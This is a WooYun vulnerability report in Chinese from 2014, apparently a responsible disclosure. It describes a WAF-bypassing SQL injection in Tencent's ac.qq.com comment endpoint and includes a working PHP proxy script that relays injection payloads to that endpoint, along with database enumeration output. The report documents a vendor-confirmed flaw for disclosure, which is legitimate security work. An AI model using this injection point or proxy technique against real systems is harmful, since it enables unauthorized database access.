当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070427

漏洞标题:再发一个腾讯的可绕过waf的SQL注射

相关厂商:腾讯

漏洞作者: Jannock

提交时间:2014-07-31 11:08

修复时间:2014-09-14 11:10

公开时间:2014-09-14 11:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-31: 细节已通知厂商并且等待厂商处理中
2014-08-01: 厂商已经确认,细节仅向厂商公开
2014-08-11: 细节向核心白帽子及相关领域专家公开
2014-08-21: 细节向普通白帽子公开
2014-08-31: 细节向实习白帽子公开
2014-09-14: 细节向公众公开

简要描述:

再发一个腾讯的可绕过waf的SQL注射,与http://www.wooyun.org/bugs/wooyun-2014-067581同样原理来绕过waf的过滤,这应该是配置错误

详细说明:

注入点:
http://ac.qq.com/CartoonComment/getCommentList
POST
objid=2108
再发一个代理代码:

<?php
error_reporting(0);
ini_set('max_execution_time', 0);
header("Content-Type: text/html; charset=UTF-8");
$a= urlencode(stripslashes($_GET['s']));
$a = str_replace('+',"%20",$a);
$data = "objid=".$a;
do{
$output= request_by_other($data);
}
while($output=="" || strstr($output,"Implemented"));
echo $output;
function request_by_other($post_string)
{
$context = array(
'http' => array(
'method' => 'POST',
'header' => 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0' .
"\r\n".'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' .
"\r\n".'X-Requested-With: XMLHttpRequest'."\r\n".'Content-length:' . strlen($post_string),
'content' => $post_string)
);
$stream_context = stream_context_create($context);
$data = file_get_contents("http://ac.qq.com/CartoonComment/getCommentList", false, $stream_context);
$data = $http_response_header[0].$data;
return $data;
}
?>


available databases [8]:
[*] db_dmpt_**********
[*] db_dmpt_**********
[*] db_dmpt_**********
[*] db_dmpt_**********
[*] db_dmpt_**********
[*] db_dmpt_**********
[*] information_schema
[*] test

漏洞证明:

11.jpg


22.jpg

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-08-01 14:06

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无